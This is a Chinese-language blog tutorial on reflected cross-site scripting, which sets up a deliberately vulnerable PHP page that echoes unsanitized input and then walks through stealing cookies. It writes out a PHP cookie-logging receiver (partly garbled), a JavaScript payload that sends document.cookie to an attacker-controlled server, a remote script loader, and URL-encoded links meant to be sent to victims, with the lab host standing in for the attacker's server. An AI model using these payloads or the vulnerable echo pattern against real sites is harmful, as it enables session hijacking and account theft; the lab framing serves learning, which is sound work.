跨站脚本攻击 XSS

本贴最后更新于 2391 天前,其中的信息可能已经物是人非

0x00 XSS

XSS,跨站脚本攻击(Cross Site Scripting),恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页之时,嵌入其中 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。比如获取用户 Cookie,会话劫持,钓鱼欺骗等多种攻击。

0x01 XSS 的原理

XSS 的原理其实也就是上面所说,恶意攻击者往 Web 页面里插入恶意 html 代码,当用户浏览该页之时,嵌入其中 Web 里面的 html 代码会被执行,从而达到恶意攻击用户的特殊目的。

HTML 的 script 元素标记中间包含 JavaScript,当浏览器遇到这一标记时,它不会将其内容处理成 HTML 或者 XHTML,而是把对于其内容的控制权移交给另一个内置的浏览器代理——脚本处理引擎。又,Web 浏览器本身的设计是不安全的,它只负责解释和执行 JavaScript 等脚本语言,而不会判断代码是否有害。

0x02 XSS 的危害

XSS 在 OWASP 中一直占据着前十的地位,虽然表面上 XSS 不像 sql 注入、文件上传之类的漏洞一样直接可以获得很高的权限,但是因为 xss 漏洞广泛存在于各类网站之中,运用起来灵活多变,所以深受黑客偏爱。

它的常见危害有:

  • (1)网络钓鱼,盗取各类用户的账号
  • (2)窃取用户 Cookie,获取用户隐私,或者利用用户身份进一步执行操作
  • (3)劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志等
  • (4)强制弹出广告页面,刷流量等
  • (5)传播木马

0x03 漏洞复现

首先我们要搭建漏洞环境,这里我们可以选用之前博客中提到的的 LAMP 环境,也可以搭建一个 wamp 环境,这里为了方便,我就在 windows 下搭建环境测试了,首先我们在 wamp 的 www/xss 文件夹下新建 test.php,然后输入如下内容(前后要有 html 标签):

<head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS test</title> </head> <body> <form action="" method="get"> <input type="text" name="xss_input"> <input type="submit"> </form> <hr> <?php setcookie('cookie','test'); $xss = $_GET['xss_input']; echo 'your input is:<br>'.$xss; ?> </body>

然后保存并打开 wamp 服务

通过浏览器访问 127.0.0.1/xss/test.php 来访问刚才创建的页面,

我们在输入框输入,点击提交,发现出现有如下图的 xss 的弹窗,此时环境搭建完成。

0x04 漏洞利用

如果只是控制弹窗,我们并不能直观的看到它的危害,下来我们尝试利用 xss 漏洞,看看能做到什么程度。

XSS 最经常使用的就是获取 Cookie 了,攻击者通常利用网站的 xss 漏洞向页面写入窃取 Cookie 信息的代码,在用户浏览网页时,攻击者就会获取受害者当前浏览器中的 Cookie 信息。此时攻击者可以将 Cookie 信息向服务器提交,然后以受害者的身份登陆网站。

我们尝试一个最简单的反射型 xss 获取用户 cookie。

我们先在自己的远程服务器上写一个 php 页面和一个 js 脚本来接收 Cookie 并保存:

hk.php:
_GET["q"];

$log = fopen("cookie.txt", "a"); fwrite($log, $cookie . "\n"); fclose($log); ?>

这段代码的作用是读取 q 的值,然后以增加的方式打开 cookie.txt,然后将读取到的值写入 cookie.txt。

然后我们在漏洞页面构造如下(要加上 script 标签)xss:
var x=new Image();x.src="http://127.0.0.1/xss/hk/hk.php?q="+document.cookie;
然后我们发现,cookie.txt 中,已经有我们刚才页面的 cookie 了

并且查看源代码,发现源代码中有这样一句 javascript

这个时候,如果把下面链接发送给别人,别人点到就可以获取它的 cookie 了
http://127.0.0.1/xss/test.php?
xss_input=%3Cscript%3Evar+x%3Dnew+Image%28%29%3Bx.src%3D%22http
%3A%2F%2F127.0.0.1%2Fxss%2Fhk%2Fhk.php%3Fq%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E
虽然这样可以达成效果,但是我们发现,恶意代码都明明显显的写到 url 中了,很少会有人上当,而且 url 长度太长,遇到某些不能输入这么长 js 脚本的输入框怎么办?

所以就有了一个更好的解决办法,那就是将 js 脚本写到自己的服务器中,在搜索框中只需要调用咱们自己服务器上面的脚本就可以了。

我们在自己服务器中和刚才的 hk.php 同路径创建一个 hk.js

hk.js:
var x=new Image();

x.src="http://127.0.0.1/xss/hk/hk.php?q="+document.cookie;

然后在漏洞界面写入如下 xss:
《script src = http://127.0.0.1/xss/hk/hk.js><‘/’script>
发现结果 cookie.txt 多了一行

并且源码中的 javascript 如下

然后我们构造一个链接来欺骗用户
http://127.0.0.1/xss/test.php?xss_input=%3Cscript+src+%3D+http%3A%2F%2F127.0.0.1%2Fxss%2Fhk%2Fhk.js%3E%3C%2Fscript%3E
只要用户点击此链接,cookie 就会被记录到我们服务器上的 cookie.txt 里面。

以上就是一次反射性 xss 最简单的利用方式。

0x05 总结

xss 漏洞因为其危害不直观,往往不受到重视,但是它的运用十分灵活,绕过方式也和 sql 注入一样十分丰富,在有些时候可以达到意想不到的效果。

这次暂时就写到这里,下一篇关于 xss 的博客会详细的介绍 xss 的一些绕过检测和限制的方式,还有利用 xss 进行网络钓鱼以及网页挂马的方法。

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...

推荐标签 标签

  • wolai

    我来 wolai:不仅仅是未来的云端笔记!

    2 引用 • 14 回帖 • 2 关注
  • Docker

    Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的操作系统上。容器完全使用沙箱机制,几乎没有性能开销,可以很容易地在机器和数据中心中运行。

    494 引用 • 928 回帖 • 1 关注
  • Love2D

    Love2D 是一个开源的, 跨平台的 2D 游戏引擎。使用纯 Lua 脚本来进行游戏开发。目前支持的平台有 Windows, Mac OS X, Linux, Android 和 iOS。

    14 引用 • 53 回帖 • 554 关注
  • Gitea

    Gitea 是一个开源社区驱动的轻量级代码托管解决方案,后端采用 Go 编写,采用 MIT 许可证。

    5 引用 • 16 回帖
  • RIP

    愿逝者安息!

    8 引用 • 92 回帖 • 394 关注
  • SendCloud

    SendCloud 由搜狐武汉研发中心孵化的项目,是致力于为开发者提供高质量的触发邮件服务的云端邮件发送平台,为开发者提供便利的 API 接口来调用服务,让邮件准确迅速到达用户收件箱并获得强大的追踪数据。

    2 引用 • 8 回帖 • 493 关注
  • JetBrains

    JetBrains 是一家捷克的软件开发公司,该公司位于捷克的布拉格,并在俄国的圣彼得堡及美国麻州波士顿都设有办公室,该公司最为人所熟知的产品是 Java 编程语言开发撰写时所用的集成开发环境:IntelliJ IDEA

    18 引用 • 54 回帖 • 2 关注
  • 设计模式

    设计模式(Design pattern)代表了最佳的实践,通常被有经验的面向对象的软件开发人员所采用。设计模式是软件开发人员在软件开发过程中面临的一般问题的解决方案。这些解决方案是众多软件开发人员经过相当长的一段时间的试验和错误总结出来的。

    200 引用 • 120 回帖
  • 创造

    你创造的作品可能会帮助到很多人,如果是开源项目的话就更赞了!

    184 引用 • 1015 回帖
  • 周末

    星期六到星期天晚,实行五天工作制后,指每周的最后两天。再过几年可能就是三天了。

    14 引用 • 297 回帖 • 4 关注
  • 机器学习

    机器学习(Machine Learning)是一门多领域交叉学科,涉及概率论、统计学、逼近论、凸分析、算法复杂度理论等多门学科。专门研究计算机怎样模拟或实现人类的学习行为,以获取新的知识或技能,重新组织已有的知识结构使之不断改善自身的性能。

    83 引用 • 37 回帖
  • OpenStack

    OpenStack 是一个云操作系统,通过数据中心可控制大型的计算、存储、网络等资源池。所有的管理通过前端界面管理员就可以完成,同样也可以通过 Web 接口让最终用户部署资源。

    10 引用 • 3 关注
  • Vim

    Vim 是类 UNIX 系统文本编辑器 Vi 的加强版本,加入了更多特性来帮助编辑源代码。Vim 的部分增强功能包括文件比较(vimdiff)、语法高亮、全面的帮助系统、本地脚本(Vimscript)和便于选择的可视化模式。

    29 引用 • 66 回帖
  • 前端

    前端技术一般分为前端设计和前端开发,前端设计可以理解为网站的视觉设计,前端开发则是网站的前台代码实现,包括 HTML、CSS 以及 JavaScript 等。

    245 引用 • 1338 回帖
  • 阿里巴巴

    阿里巴巴网络技术有限公司(简称:阿里巴巴集团)是以曾担任英语教师的马云为首的 18 人,于 1999 年在中国杭州创立,他们相信互联网能够创造公平的竞争环境,让小企业通过创新与科技扩展业务,并在参与国内或全球市场竞争时处于更有利的位置。

    43 引用 • 221 回帖 • 72 关注
  • Shell

    Shell 脚本与 Windows/Dos 下的批处理相似,也就是用各类命令预先放入到一个文件中,方便一次性执行的一个程序文件,主要是方便管理员进行设置或者管理用的。但是它比 Windows 下的批处理更强大,比用其他编程程序编辑的程序效率更高,因为它使用了 Linux/Unix 下的命令。

    124 引用 • 74 回帖 • 2 关注
  • DevOps

    DevOps(Development 和 Operations 的组合词)是一组过程、方法与系统的统称,用于促进开发(应用程序/软件工程)、技术运营和质量保障(QA)部门之间的沟通、协作与整合。

    57 引用 • 25 回帖 • 3 关注
  • Telegram

    Telegram 是一个非盈利性、基于云端的即时消息服务。它提供了支持各大操作系统平台的开源的客户端,也提供了很多强大的 APIs 给开发者创建自己的客户端和机器人。

    5 引用 • 35 回帖
  • Sublime

    Sublime Text 是一款可以用来写代码、写文章的文本编辑器。支持代码高亮、自动完成,还支持通过插件进行扩展。

    10 引用 • 5 回帖
  • SOHO

    为成为自由职业者在家办公而努力吧!

    7 引用 • 55 回帖
  • 音乐

    你听到信仰的声音了么?

    62 引用 • 512 回帖
  • CSDN

    CSDN (Chinese Software Developer Network) 创立于 1999 年,是中国的 IT 社区和服务平台,为中国的软件开发者和 IT 从业者提供知识传播、职业发展、软件开发等全生命周期服务,满足他们在职业发展中学习及共享知识和信息、建立职业发展社交圈、通过软件开发实现技术商业化等刚性需求。

    14 引用 • 155 回帖
  • 新人

    让我们欢迎这对新人。哦,不好意思说错了,让我们欢迎这位新人!
    新手上路,请谨慎驾驶!

    52 引用 • 228 回帖
  • GitHub

    GitHub 于 2008 年上线,目前,除了 Git 代码仓库托管及基本的 Web 管理界面以外,还提供了订阅、讨论组、文本渲染、在线文件编辑器、协作图谱(报表)、代码片段分享(Gist)等功能。正因为这些功能所提供的便利,又经过长期的积累,GitHub 的用户活跃度很高,在开源世界里享有深远的声望,并形成了社交化编程文化(Social Coding)。

    210 引用 • 2040 回帖
  • Anytype
    3 引用 • 31 回帖 • 14 关注
  • 大疆创新

    深圳市大疆创新科技有限公司(DJI-Innovations,简称 DJI),成立于 2006 年,是全球领先的无人飞行器控制系统及无人机解决方案的研发和生产商,客户遍布全球 100 多个国家。通过持续的创新,大疆致力于为无人机工业、行业用户以及专业航拍应用提供性能最强、体验最佳的革命性智能飞控产品和解决方案。

    2 引用 • 14 回帖
  • PWA

    PWA(Progressive Web App)是 Google 在 2015 年提出、2016 年 6 月开始推广的项目。它结合了一系列现代 Web 技术,在网页应用中实现和原生应用相近的用户体验。

    14 引用 • 69 回帖 • 177 关注